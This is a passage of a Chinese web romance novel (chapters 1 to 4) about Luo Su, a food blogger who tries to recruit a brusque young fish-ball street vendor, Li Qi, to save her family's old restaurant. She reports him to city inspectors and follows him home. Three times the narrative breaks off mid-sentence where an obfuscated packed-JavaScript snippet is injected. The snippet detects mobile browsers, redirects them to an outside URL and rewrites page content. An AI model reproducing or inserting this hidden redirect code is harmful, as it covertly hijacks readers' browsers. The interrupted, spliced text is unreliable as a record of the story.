《他很会做饭》 1. 帅哥大厨 “啪——” “啪——” 一阵明显有节奏和韵律的拍打声从楼下传来。 洛苏早就醒了,但是懒得起床。 这规律的拍打声似乎看透了她的心思,一声声,一阵阵,不绝于耳,既不过分吵闹,又完全让人失去了睡意。 洛苏长叹一声,懒懒地从床上坐起来。 正发着呆,手机铃声响了,是死党施蜜。 她接通视频,微眯着眼哼哼:“一大早扰人清梦,你这是缺德知道吗?” 视频里的施蜜笑得恣意:“我说洛大小姐,这都几点了,你成日发呆酣睡,就快懒成猪了,就算放寒假也不能这样腐败吧!你号还要不要了?快起来去探店,姐姐我发现好货了。” 身为美术老师的洛苏还兼职美食探店博主,在小绿书上已经有几万粉丝。不知道是运气好还是真如洛苏所说,她具有常人难以企及的品菜天赋,凡是经过她推介的店,生意都明显大有起色,除了自己家的店,依然半死不活。 这一个月来,主动邀请她探店的餐厅起码有十几家,可是她通通推掉了。小绿书一个月没更新,都开始掉粉了。 皇帝不急太监急,她还没怎么着,施蜜先耐不住了。几次软磨硬泡,要她去探店,她始终不为所动。 “你又不是不知道,我现在没心情。” 洛苏沮丧地抓抓乱蓬蓬的头发,心情很烦躁。 “嘿嘿,告诉你一个好消息,我帮你找到大厨的合适人选了!”施蜜笑得神秘。 洛苏眼睛一亮,脸上瞬间神采飞扬。 “你不早说!在哪在哪?” 洛苏把被子一掀,慌慌张张开始洗漱。 “别急别急,我先给你发个视频。下午五点,吉庆街见。这次我保管让你美食和美色兼收。” 洛苏挑眉,分明不信,但还是点开了链接。 帖子是小绿书一个博主发布的,视频明显是偷拍的,角度刁钻,但主角独特的气质令人眼前一亮。 年轻男人握着大铁勺沿着不锈钢大盆的边缘点水,盆里是挤得满满当当的雪白鱼丸,他姿态娴熟、动作轻盈,明明只是随意站在那,却有种睥睨天下的不羁气势。 洛苏眼睛毒,哪怕戴着口罩,她也看出这个男人色相不错。浓眉入鬓,双眼狭长,眼神犀利冷漠,是那种不太好惹的男人。 “怎么样?不错吧?” 施蜜估摸着她看完了视频,发信息追问。 “还行,就是不知道他做的鱼丸好不好吃。” 洛苏嘴上云淡风轻,手却不由自主又点开了视频。 “装。” 施蜜精准吐槽。 洛苏看着手机哈哈大笑,心情突然变得很好。颓废了好些天,也该出去走走了。 洛苏洗漱完毕“噔噔蹬”下楼来到厨房。 洛玉柱正在做鱼丸。 从小到大,洛苏已经数不清见过多少次这样的场景。热气蒸腾中,父亲鬓边有微汗,他坚实有力的胳膊正抡起鱼糜一下一下地用力拍打,只有经过无数次的拍打敲击,做出来的鱼丸才能劲道弹牙。 洛苏静静看着父亲认真忘我的动作,心里涌上了一阵感动和忧伤。 会做鱼丸的人很多,但是像父亲这样依然坚持手工制作的人却不多了。手工制作鱼丸费时间费精力,产量又有限,在凡事都追求“快”的今天,似乎已经跟不上潮流了。 她也曾向父亲建议过,改用机器搅拌鱼糜,不仅省时省力,产量也能大增。 父亲只是笑着摇摇头指指店里悬挂的老招牌。那招牌还是洛苏曾祖父传下来的,如今已经近百年了。 曾祖父早已经辞世,但是洛家“宝庆楼”的名号却在岁月沉浮中越来越响,祖父洛宝庆更是赫赫有名,曾经还被请去给中央来江城视察的领导做鱼丸。后来二十年,无数人慕名而来,都是冲着“宝庆楼”这三个字。 洛苏知道父亲的意思,洛家“宝庆楼”的招牌是用双手打下来的,不是用机器。 鱼糜终于搅好了。 洛玉柱这才抬起胳膊擦擦鬓边的汗珠,扭头笑看宝贝女儿:“酥酥,若你是个男孩我肯定把手艺传给你,不是爸爸重男轻女,做厨是个辛苦活,爸爸不舍得你吃苦。” 洛苏笑着倒了一杯热茶捧到父亲面前,撒娇说:“爸爸,有你给我做好吃的就行啦,我要一辈子吃爸爸做的饭。” 洛玉柱喝了一口热茶,宠爱地看了女儿几眼,这才往大堂走去,浑厚的大嗓门喊道:“冬瓜,来下鱼丸!” 冬瓜是父亲的徒弟,本名罗东,十几岁起就在宝庆楼学厨,因为长得微胖,人又憨厚老实,便得了个“冬瓜”的外号。 听到师父唤他,忙过来洗净手,站在装着鱼糜的大盆前,开始捏鱼丸。 见洛苏目不转睛盯着自己,冬瓜有些不好意思,轻咳了两声,低声恳求:“师妹,你别站在我旁边,你这样盯着我,我……紧张。” 洛苏嗤笑一下,没好气地“切”了一声。冬瓜比她大几岁,一直像她哥哥一样。她没事就喜欢逗他玩。 冬瓜见她笑容明媚,脸微微一红,转过头去认真捏鱼丸了。 他学艺已有八年,一般人早就出师自立门户了,可他就是不愿意走,死心塌地要留在已经半死不活的宝庆楼。此时他架势十足,一个个圆滚滚的鱼丸从他虎口冒出,又随着汤匙滑进水中,不多一会儿,盆里就挤满了白白胖胖的鱼丸。 对于外行来说,冬瓜已经做得很好了。 可是洛苏知道,他远远没法和父亲相比。 父亲捏鱼丸的姿态轻松闲适,仿佛不是在做活,而是在品茶闲话。一举一动,流畅自然。这是一种刻进骨子里的记忆,随时随地可以被唤醒。 可是,父亲老了。 洛苏沉默看着父亲微勾的背影,心里发酸。 洛玉柱做厨已经四十多年,从十六岁开始,耳濡目染,身体力行,从父辈手中接过接力棒,用心捍卫着宝庆楼的名声,不敢有一丝懈怠。 做厨很辛苦,夏天炉边热得站不了人,冬天水又冷得刺骨,更别提长年累月地站着挥大勺、颠铁锅,没有一副好身板根本做不长久。 洛玉柱四十来岁的时候就有了严重的职业病,肩周炎、腰椎间盘突出、静脉曲张,虽然都不致命,可是痛起来却要人命。 若是有儿子,他也可以轻松一下,让儿子接班。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207638|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可惜,他们夫妻俩只生了一个女儿,从小如珠如宝,他怎么舍得让女儿进烟熏火燎的厨房呢? 因此,他只能眼睁睁看着宝庆楼的生意江河日下,勉力用渐渐老去的身体支撑着。 能撑一天是一天。 自从父亲身体大不如前,店里的生意也渐渐冷清下来。木质桌椅已经有些年头,墙壁也早已不复昔日的白净,斑斑点点的污渍如附骨之疽,看着很碍眼。 洛苏跟在父亲身后,一步步往大堂走去,每一步都让她心里更加沉重。 陈旧的环境、门可罗雀的生意,无不昭示着宝庆楼所剩无几的生机。 洛苏暗暗捏紧拳头,冬瓜还难成气候,宝庆楼再找不到合适的大厨,只怕真的就要时日无多了。 这是祖辈传下来的产业,不能败在她这一代。 可是,到哪里去找厨艺又好又便宜的厨师啊!!! 洛苏忍不住仰天长叹,要是天上能掉下来一个大厨多好,最好还是免费的那种…… “酥酥,别唉声叹气了,这个人肯定能满足你的要求。” 施蜜揽住洛苏的肩膀,兴致盎然。 “如果他做的鱼丸不好吃,当心我扁你!” 洛苏作势挥挥拳头,心中燃起了几分希望。 吉庆街是江城颇有名声的一条美食街,只要不下雨,一到傍晚,各种各样的美食摊位就整齐而密集地冒出来,好吃又实惠,是江城人气很高的美食夜市。 可施蜜没带她往人多的地方挤,反而越走越偏,最后来了吉庆街旁一个狭窄的小巷子。 老城设施陈旧,道路又窄又脏,但是生活却极为便利,身边不时有大爷大妈提着满满当当的购物袋擦身而过。 这是打动人心的烟火气。 看着这热闹的景象,洛苏的心情好了点。果然是人间烟火气,最抚凡人心。 “这人怎么把摊子摆在这么偏僻的地方?” 做生意的人无不希望人流密集,这样偏往角落里钻的人她还是第一次见。 “别着急,马上到了。” 施蜜挽紧她的胳膊,在小巷里左钻右拐,就在洛苏以为前面没路的时候,柳暗花明。 眼前一长串队伍,人虽多却整齐有序挪动着,有买菜大妈,有秃头大爷,但最多的还是年轻女孩子,她们脸上不约而同都是掩饰不住的期待和焦急。 洛苏看着这冗长的队伍,心里更好奇了。 “快排队!今天人好多!” 施蜜抱怨一声,麻利地拉着洛苏排到了队伍后面,不过瞬间,她们后面就接上了新的人,真可谓人流如织。 洛苏心里突然发酸,若是自家餐馆也有这么好的生意那该多好啊!想到这里,她对视频里男人的庐山真面目更好奇了。 随着队伍的缓缓移动,她们越来越接近终点。 几张折叠小木桌整齐地摆在一旁,四周围了一圈小凳子,早已坐得满满当当,更多人选择在旁边站着吃。不时有女孩拿出手机一边拍食物一边偷偷拍老板。旁边立着一个大纸板,上面写着几个大字“每人限购一份”。 饥饿营销,还挺聪明。 蒸汽氤氲间,洛苏终于看清了谜底。 2. 举报 他是除了洛玉柱外,洛苏见过的捏鱼丸姿态最优雅的人。 简单的移动小摊前,高高瘦瘦的男人正在忙碌着。他和视频里面一样,依然戴着口罩,微低着头。水汽蒸腾,洛苏只看得见他浓浓的眉毛和乌黑的短发,在白雾缭绕间如同一幅淡淡的写意山水画。 鲜香浓郁。他熟练地从盆里抓起一把鱼糜,右手执勺一挖,顺势往水中一旋,一个个白胖滚圆的丸子就诞生了,密密麻麻、整整齐齐地挤在热气腾腾的水面上,就像年画娃娃的脑袋,颇为喜庆可爱。 “几个人?打包还是堂食?” 他声音低哑,透着一丝不耐烦。 “两个人,在这吃。” 施蜜目不转睛盯着他,暗暗用手肘捅了捅洛苏。 来之前,两人已经分好工。施蜜负责点餐转移老板的注意力,洛苏负责偷拍。 洛苏心领神会举起手机假装自拍,那老板似乎心有所感,抬起头冷冷瞟了洛苏一眼,语带厌烦:“不要偷拍。” 他眼眶微凹,眼睛细长深邃,目光却幽冷,鼻梁虽被口罩压住,但是清晰可见笔挺的骨线。 “不……不好意思。” 洛苏尴尬地放下手机,听到周围传来低低嘲笑声。她忍不住腹诽,我才不是花痴好不好,免费给你打广告,竟然还装酷!而且那么多人偷拍,你怎么不说! 鱼丸煮好了,他用大勺麻利盛了两碗,又加了些在高汤里汆熟的生菜,这才“哐”地一声把碗重重放在台上,面无表情瞟了洛苏一眼,又低下头去继续忙活。 没有位置,两人只得站在路边吃。 刚出锅的鱼丸滚烫,施蜜一边吹着气一边问:“怎么样?帅吧?” 洛苏冷笑:“戴上口罩,大街上都是帅哥。” 施蜜摇头:“别急嘛,我见过别人发他不戴口罩的样子,真的很帅。” “帅不帅的和我没关系,我只关心鱼丸好不好吃。” 洛苏不以为然,戳起一个鱼丸咬了一小口。 做鱼丸很简单,但是要做得好吃却不容易。其中,鱼糜和生粉的比例就是很难把握的一关。如果鱼糜多了生粉少了,鱼丸根本捏不起来,就算勉强捏起来口感也很面。如果鱼糜少了生粉多了,那又不叫鱼丸,该叫粉团子,口感和石头差不多。另外还有调味料的把控,把握不好尺度很容易抢了鱼肉本身的鲜味。 洛苏嘴巴很淡,可那一口鱼丸含在嘴里,淡淡的鲜香就开始在口腔里慢慢升腾。 她不信邪,又咬了一口。 鲜味渐渐上涌,是她吃惯了的味道。咸中带鲜,清而不淡,劲道弹牙,回弹间口腔的味蕾被逐一激活。 又吃了一个,鲜味越来越浓,口腔的细胞全部苏醒了。 尽管从小吃过不计其数的鱼丸,但洛苏还是坚定地认为,这个简陋路边摊的鱼丸,不亚于她父亲做的。 Q弹紧致,味道鲜美,鱼和粉的比例恰到好处,加上爽口清甜的生菜,吃完唇齿留香。 一碗鱼丸不过六七个,洛苏吃了一半停下动作,偷偷观察老板。 不知道为什么,她感觉他很贵。 老板全神贯注,动作娴熟,偶尔才抬起眼看一下眼前的顾客,即使说话也不过蹦几个字,很酷,非常酷。 “怎么样?不错吧?”施蜜见她鬼鬼祟祟,明显很感兴趣,心中大喜。 “是还可以,我买点儿回家给我爸尝尝,如果他也觉得没问题,我就要开始挖墙脚了。” “你不早说!又得重新排队!” 施蜜大叫一声,老板不爽地抬眼横她,似乎嫌她太吵。 天色渐暗,巷口的路灯亮了。温暖灯光下,热气不断上涌,食客们的脸被热气熏蒸得发红发热,有的已经敞开了衣襟。明明是严冬,但这小巷里却热火朝天似盛夏。 不停有人吃完离开,马上又有新的食客加入排队的行列。眼看那盆里的鱼糜越来越少,洛苏有点急了。 怕什么来什么,果然在轮到她的时候,盆里桶里都空无一物了,只剩几片生菜漂在水面上,散发着淡淡清香。 “老板,没有了吗?”洛苏不死心地伸长脖子朝桶里看,企图发现几个漏网之鱼。 “嗯。”年轻老板开始收拾东西,看也不看洛苏。桌椅都很轻便,折叠起来往推车下面一塞就好了。 “老板,您做的鱼丸特别好吃,是我吃过的最好吃的鱼丸之一,您有没有兴趣去正规餐厅当大厨?” 洛苏知道这个人绝对是行家,鱼丸肯定只是他的招牌菜之一。而且他这么年轻,正是做厨的最佳年龄。 “没有。”男人仍然不看她,声音不带起伏,就像恢复冷清的巷子里弥散的冷空气一样。 他仍然干着自己的活,东西收拾得差不多了,他推起车往巷口走。 洛苏不甘心,跟在他身后堆起笑脸追问:“老板,您叫什么啊?其实我是个美食博主,想在社交平台推荐您,方便留个联系方式给我吗?” 给点好处,看你不心动! 男人理也不理他,径直往外走。但明显加快了速度,似乎想把洛苏甩掉。 “喂喂!怎么不理人啊!没礼貌!”洛苏冲他背影叫道。 “都走远了,明天再来吧!”施蜜拉住洛苏,一脸八卦表情。 洛苏遗憾地停下脚步,看着他的背影渐渐融入人潮,消失不见。才八点,正是夜市如火如荼的时候,可这人却早早收摊了。为什么不多准备点食材?难道有钱都不想赚? “真是个怪人!” “我看怪的是你!让你来你不情愿,现在眼珠子都快粘人家身上了。怎么?看上了?”施蜜笑嘻嘻揶揄。 “有病——”洛苏无语地白了她一眼,“他手艺的确不错。不过看他这么酷,肯定很难搞。” 洛苏长叹一口气,望向老板离开的方向。 “估计是被那些女生搞怕了,你没看到今天那些怼着他拍的?一个个跟要把他生吞活剥了似的,哪里是来吃鱼丸的,分明是来吃人的。”施蜜想起那些双眼放光的女孩,有些好笑有些感叹。 没办法,这年头,帅哥和鬼的罕见程度差不多了。 “不怕,只要功夫深,铁杵磨成针。明天再来!我有的是时间和他耗!” 有了明确目标,洛苏燃起了熊熊斗志。 第二天她没要施蜜陪她一起来,一个人早早赶到巷子里排队。 四点多,男人果然准时推着推车出现在巷口。 看到洛苏,他微微一愣,动作却不停,嘴里低低一声“借过”,仿佛对她毫无印象。 洛苏不在乎他冷漠的态度,有求于人嘛,姿态就得低一点。 男人把推车支好,开始往下搬桌椅。 洛苏殷勤地上前帮忙,还不忘套近乎。 “老板,你做的鱼丸真的很好吃,所以我今天又来了。你真的不想去正规餐厅当大厨吗?又安稳环境又好,路边摊风吹日晒多辛苦啊……” 她话还没说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207639|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,男人从她手里夺过小板凳,态度更加冷淡:“你要是来吃东西请排队等待,要是别的事情恕不奉陪。” 洛苏第一次见到这样油盐不进又没礼貌的人。俗话说,伸手不打笑脸人,她这么一个甜美可爱的女孩子主动帮忙,他竟然还冷眼相向,真是不知好歹! “莫生气莫生气,别人生气我不气,气出病来无人替……” 洛苏心中默念,深呼吸几次,竭力平复情绪,压制怒火。又不停安慰自己,但凡世外高人都是有些脾气的。 排队是吗?排呗! 已经有十来个年轻女孩在排队,看到她主动搭讪却吃瘪,纷纷投来嘲笑的目光。她气哼哼地走到队伍末尾,要不是看在你做的鱼丸的确好吃,我才不受这个气呢! 起火、上锅,随着热气上涌,鲜香味又逐渐充盈在巷子里。 轮到洛苏了,就在排队的那段时间里,她决定改变策略。 这回她没再主动搭话,打包好鱼丸,就果断离开了巷子。 洛玉柱听说宝贝女儿要请他吃东西,好奇又感动。虽然不是什么大富大贵之家,但是女儿从小也是他捧在手心的掌上明珠,加上店里的伙计们都让着她宠着她,和小公主一样。 没想到如今也到了洗手作羹汤的年纪了。真是岁月不饶人。 洛玉柱坐在桌前,看女儿小心翼翼端着一个碗过来。 “爸爸,你尝尝这个鱼丸,看看怎么样。”洛苏把碗放在骆玉柱面前。 鱼丸是她按照老板的做法煮的,把熟的鱼丸在水里稍微汆一下,再配点煮熟的生菜,什么调料都没加。 骆玉柱见生菜有些变色,厨师的职业病犯了,刚想开口训斥,又马上想到这是女儿亲手做的,急忙话锋一转:“没想到酥酥都会做饭了呀,我来尝尝。” 他夹起鱼丸咬了一口,脸色微变,满眼惊喜。 “这是你做的?”洛玉柱不敢置信。 “您先别管,只告诉我好不好吃。”父亲的表情已经说明了一切,洛苏心花怒放,庆幸自己押对了宝。 “你不说我差点以为是我自己做的。这到底是谁做的?反正肯定不是冬瓜做的。” 骆玉柱又吃了一口,这手艺的确和自己很像,但是又有细微的区别。他细细咀嚼,鱼丸里似乎添加了别的什么,口感层次更丰富也更爽滑。 “如果做这个鱼丸的人来我们店里当厨师,您同意不?”洛苏避而不答,得先搞定家里再说,那个死人脸,还有得磨呢! 洛玉柱放下鱼丸,叹了口气:“有这个手艺的人怎么会愿意来我们店里当厨师,你也知道现在生意不好……” 洛苏蹲在父亲面前柔声安慰:“爸爸,生意不好是因为我们产量跟不上,客人都是冲着招牌来的,要是产量跟上了,生意肯定会好起来的。” 骆玉柱点头,接受了女儿的安慰。可他心里知道,这只是其中一个原因而已。他的老脑筋已经跟不上餐饮业的发展了,这才是生意江河日下的根本原因。质量和产量到底怎么才能做到兼顾呢?他想不出来。 “爸爸老了,这店也不知道还能坚持多久,要是有人能接手,我是愿意的,只要不把咱们‘宝庆楼’的招牌砸了就行。” “这个您放心,只要您同意,我保管把他请来!”洛苏拍拍胸膛,立下了军令状。 哼,软的不行,就来硬的。 回到房间,她掏出手机拨打了一个电话。 “喂,是城管吗?我要举报……” 3. 你不是坏人 黎祁觉得自己最近特别倒霉。 不知道是谁拍了他发到网上,引得每天一大群女孩子跑来围观偷拍,叽叽喳喳吵死人。虽然生意更好了,但他还是更怀念以前都是老头老太太光顾的时候。 城管说他堵塞交通,他翻了个白眼很无语。偏僻小巷子里,人都没几个,堵塞了哪门子交通? 城管见他脸色不好,笑呵呵解释:“老弟,别怪我们不通人情,有人举报我们就得受理,以后做生意注意点哈,你看这人挤人的,都是年轻小女孩,万一发生踩踏后果不堪设想。不然你到外面夜市里租个固定摊位,那边生意也好。” 城管见这么多女孩子举着手机也不敢说重话,现在都要求柔性执法,提倡激活夜经济、发展新业态,象征性提醒了几句,又让排队的人遵守秩序别挤来挤去,就大步流星离开,临走还不忘买两碗鱼丸。 虽然没有罚款,可就是影响了黎祁的心情。剩下的鱼丸他也不想捏了,把锅里已经捏好的卖完,熄了火,抬眼看着面前排队的人,冷哼一声:“卖完了。” 排队的是个五十来岁的大妈,想买一碗鱼丸给放学的孙子吃,好不容易排到了,老板却要提前收摊,见盆里明明还有鱼糜却不卖,火炉城市的人火气也大,操着大嗓门就咧唔开了。 “这不是还有很多吗?凭什么不卖啊!我都排这么久了!” 后面的人听说不卖了也都不满地吵嚷起来。 “不卖就不卖。”黎祁手一挥,不看排队的人,开始收拾东西。 食客们见没希望了,只得纷纷走开,巷子里又慢慢恢复了平静。 洛苏躲在巷口,笑得贼兮兮。 看你还酷不酷! 黎祁推着推车走出巷口,一张人脸猛地凑到他跟前,硬生生堵住了他的去路。 黎祁后退一步,警惕地看着眼前的人。他记得这个女孩,叽哩哇啦话很多。 “我说吧,路边摊总要担心城管,多麻烦啊,考虑一下去我家的餐厅当大厨吧!待遇从优,包吃包住……” “你怎么知道城管来了?”黎祁打断她的滔滔不绝,气势汹汹瞪她。 “有人举报我们就得受理”,刚才城管是这么说的。 “是你举报的?”黎祁松开握着车把的手,沉着脸大步跨到她面前。 洛苏从小就是个机灵鬼,深知好男不和女斗,所以没少欺负老实巴交的冬瓜。同时,她也深知另一个道理,三十六计走为上计,打不过就跑。 她现在有点想跑。 这个男人一看就不好惹,来势汹汹,浑身散发着低气压,感觉一拳就能抡死她。做厨的人,臂力惊人。 跑不跑? 洛苏被他的气势逼得后退一步。 跑,好不容易找到的救星可能就没了。 不跑?会不会被他揍? 洛苏小心翼翼看了他一眼。 即使被口罩遮住脸也能看到他眉峰凌厉,眼神愤怒,但是,眼眸深处却干净澄澈。 想到家里门可罗雀,洛苏心一横,进了一步,开始笑眯眯睁眼说瞎话:“怎么会呢?我对您的厨艺景仰不已,求才若渴,您要是肯到我们家当大厨,我把您供起来都来不及,怎么会举报您呢?” 眼前的女孩笑容甜美,人畜无害。但黎祁从小见惯了心口不一,一眼就看穿这个女孩在说谎。 他脾气不好,但是还有原则。虽然从小没少打架,但绝对不打女人。 “我只会为自己工作。” 他回身推车往外走,不想再继续纠缠。好汉不吃眼前亏,好男不跟女斗。再说他也没证据。 洛苏气得龇牙咧嘴,冲他的背影踹了一脚。 你清高!你是不可能打工的! “我说你也太狠了吧,像他这种人吃软不吃硬,要不你试试美人计?” 施蜜听完洛苏的他山之石计划笑得前仰后合。亏她想得出来! “去你的,你都说了那么多女孩怼着他拍,他肯定烦透了,这种人软硬不吃,我得找到他的弱点才行。” 洛苏也觉得自己的手段有点不大光明,可是没办法,这个人可能是目前唯一有希望挽救宝庆楼的人,她到哪儿去找另外一个擅做鱼丸、厨艺又可以媲美父亲的人呢? 既然已经开了头,怎么样也得一条道走到底。洛苏托着下巴开始琢磨planB。 举报只是给他一个下马威,顺便让他知道路边摊不是长久之计。要真正收服这样有性格的人,还得想别的办法,硬来是不行的。 洛苏休整了一天,第五天又出动了。 巷子里依然热闹,大爷大妈们满意地拎着鱼丸离开,女孩们七嘴八舌讨论着老板又酷又帅,哪怕不喜欢吃鱼丸也要留下来买一碗,就为了近距离多看老板几眼,跟他说几句话,哪怕他根本不回应。 洛苏缩在巷口,密切观察着男人的一举一动。 他的眼神似乎比前几天更冷峻了,偶尔扫一眼面前的顾客,仿佛那不是他的上帝,而是他的债主。 哼哼,再铜墙铁壁也有软肋,我就不信找不到! 洛苏把口罩往上提了提,又压了压帽檐,幸好是冬天,不然这一身打扮非得闷死不可。 今天生意很好,才七点,鱼丸就卖得一干二净。黎祁熄了火,破例坐到小板凳上,摸出了一盒烟。 他在职校里学会了抽烟,那会儿不过十六七岁,看了几部古惑仔电影,觉得抽烟很酷。 可渐渐地,他就觉得没意思了。一群小屁孩,以为抽根烟就是老大,就能掌控人生、风生水起了?幼稚。 生活的苦,再多尼古丁也麻痹不了。 不需要刻意戒烟,他慢慢就不抽了,也远离了那群只会吹牛耍横实际上游手好闲一无所长的狐朋狗友。 可今天,他又买了一盒烟,虽然没抽,但就是突然想闻闻烟味。 他腿长,坐在小矮凳上不得不岔开双腿,拇指和食指捏着烟头轻轻嗅了嗅,修长的背影在路灯下显得有些孤寂落寞。 洛苏等得脚麻,忍不住退到巷外跺了跺脚。 怪人!还不收摊干嘛呢? 不一会儿,巷子里传来“叮叮哐哐”的声音,洛苏长舒一口气,死人脸终于收摊了。 洛苏活动一下身体,打起十二分精神,她的任务要开始了 。 男人收拾好东西推着推车出了巷口,再次淹没在人潮中。 夜市喧嚣,他完全没察觉到身后有一个鬼鬼祟祟的身影一直跟随着他。 洛苏借街边商店遮掩,又或者混迹于行人中,像她这样打扮的人很多,没人发现她是个偷窥跟踪狂。 男人穿过几条街巷,来到一个老旧的小区。小区看起来有些年头了,五六层低矮的楼房,外墙斑驳,裸露的阳台上挂着些腊鱼腊肉还有各种半旧不新的衣服。 门卫老大爷昏昏欲睡,根本没注意到行踪诡异的洛苏。 她不敢跟太近,远远看到男人在靠近院墙的一栋单元楼门口停了下来,把推车塞进楼道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是了,像他以前。 在孤儿院被大孩子欺负的时候,在职校被围殴的时候,他好像就是这副模样。永远不肯认输,不肯吃亏。因为已经在泥里了,除了尊严早就没有什么可以失去的。 可生活终究还是教会了他认输。 不像这个女孩,她的骄横和不讲理不是因为光脚不怕穿鞋的,而是因为被人无条件保护着、爱着,才有这样死缠烂打的底气。 他突然就想恶狠狠地戏弄她一下,让她知道人心险恶。 “你想怎么样?”洛苏警惕地贴紧身后的墙。这人态度变化太快,刚才明明一副冷漠厌烦模样,突然间却又像个轻浮纨绔。 “黑灯瞎火,孤男寡女,你觉得我想怎么样?” 黎祁双手撑住女孩身侧的墙,压低声音,似笑非笑地看着眼前这张吓得发白的脸。 陌生男性的气息浓烈扑面、近在咫尺。洛苏有一瞬间的心慌意乱,冷静下来后竭力克制住声音里的哆嗦,扭身从他的禁锢中钻了出来。 “我觉得你不是个坏人。” 洛苏看到夜色中,男人好看的眉毛挑了挑,眼中有讶异和好奇。 4. 白豆腐 棚户区的房子低矮连成一片,随处可见倒塌的院墙,不时有大大的“拆”字在路灯下白晃晃的刺眼。 洛苏深一脚浅一脚,偶尔被脚下的石头绊一下,急忙稳住身子,嘴里嘀咕:“什么鬼地方!” 明明是陌生又偏僻的地方,可是她走着走着却渐渐不怕了。 前面高大的身影一直和她保持着不近不远的距离,仿佛背后长了眼睛。距离远了的时候他的脚步就慢下来,好像在刻意等她。一旦距离太近了他又会加快脚步,似乎生怕被洛苏追上。 装。 洛苏在心里吐槽。 其实她一开始并不确定他是不是好人,当他把她圈在墙角里的时候,她是慌了片刻的。不过幸好她从小机灵,对付社会上的男人,洛玉柱说过一句至理名言。 不管多么底层的男人,只要你把他放到人的位置上,他的行为就会受到人性的约束。 所以,洛苏对快递员、外卖员、保安等从事基层服务工作的人都一直保持礼貌和尊重。当你首先释放了善意,除非是穷凶极恶的匪徒,一般人都不太好意思对你恶言恶行了。 果然,当她眨巴着眼睛,诚恳地说出那句话之后,眼前的男人脸色变了。 “你怎么知道我不是坏人,你信不信我随时能神不知鬼不觉地把你杀了,毁尸灭迹。” 男人真的从夹克口袋里摸出一把折叠小刀,在手心把玩着。 “你杀了我又有什么好处呢?不过是一命偿一命的亏本买卖,到时候没人做那么好吃的鱼丸,未免太可惜了。”洛苏反而松了口气,笑着看他。 她的笑容明亮甜美,像夜空里闪烁的星星。男人目光微微闪躲,腔调依旧是冷冰冰的。 “你从哪来回哪去吧,我不会答应你的。”男人收回小刀,撇开头不看她,径直往外走。 “你都不考虑一下吗?我们家是正规餐厅,我不是骗子,再说你这么强壮我也打不过你啊!” 男人腿长步阔,洛苏要小跑着才能跟上他。又怕跟丢了他,追得气喘吁吁。 “喂!” 男人没有任何回应,穿过几个街口,直奔一所小学门口的文具店。 洛苏站在店外,确信自己没跟丢。 这男人看起来应该不到三十岁,孩子都上小学了?结婚也太早了吧! 果然帅哥都是名草有主的。 洛苏大发感慨,百无聊赖地在门口踱来踱去。 她看到男人在里面转来转去,好像在找什么,过了好一会儿,他才拎着一个大袋子走出来。里面是作业本还有笔之类的文具。 文具店门口摆着一些小玩具,他突然收回跨出的脚,停在一排小汽车面前。 “老板,这个怎么卖?”他摸了摸蓝色小汽车,好像很感兴趣。 洛苏伸头瞅了瞅,是一辆包装精美的玩具汽车,做工精致,看起来还比较高档。 “79块,会唱歌会朗诵古诗,车门都可以打开。”老板热情地介绍。 玩具和文具一起搭售,却比文具利润更大,是很多文具店老板惯用的策略。总有小孩子在买文具的时候被这些玩具吸引,然后跟家长讲条件达成目的。 男人果断付款,提着大包小包往更安静偏僻的小巷走。 洛苏一边光明正大跟踪,一边观察他的背影。 即使行色匆匆、大包小包,也稳步如飞,身旁的路人、风景似乎都不在他眼内。 他要去哪?这也不是回他老巢的路啊! 洛苏东瞧瞧西看看,周围的事物越来越低矮,也越来越陌生。 脚下的路也越来越烂,地上散落着大大小小的碎石,两旁的树也都枯萎凋零,一切都弥漫着萧索破败的意味。 男人终于在一栋墙皮脱落的楼房前停下了脚步,墙上印着一个大大的“拆”字,若不是二楼屋子亮着微弱的灯光,很难让人相信里面还有人住。 他没有马上进去,静静伫立在门口,好像在等什么。 洛苏走了这么远的路,身上发热,解开围巾扇风,站在距他五六米的地方看着他。 “你走吧,这里很乱,不是你该来的地方。”男人也看向她,目光中带着警告。 “笑话,天大地大,只要不是私人地方,谁都能来。我又没跟着你,难道这条路是你的,只能你走?” 男人不作声,似乎被洛苏气到了,一副“你自找的别怪我”的模样,推开那扇破门,消失在洛苏的视野里。 这里和荒郊野外没什么区别。昏暗的路灯聊胜于无,间或几声野狗的嚎叫让冬日的夜晚显得有些诡异和凄凉。 洛苏觉得自己胆子真够大的。竟然大晚上跟着一个陌生男人跑到这种地方。简直是不知死活。 正惴惴不安地等着,手机突然响了,吓得她一哆嗦差点把手机扔出去。 “喂,你差点吓死我!” 洛苏冲施蜜嚷嚷。 “打个电话,至于吓死你吗?” 施蜜不解。她关心好朋友的进展,也不放心她,特地打电话过来。 “姐姐,我现在在拆迁区,周围都是破墙烂院,一个人都没有,你说至不至于?” “你不会还在玩跟踪吧!赶快发个定位给我,我来接你!你真是不要命了!” 施蜜气急败坏数落起洛苏。 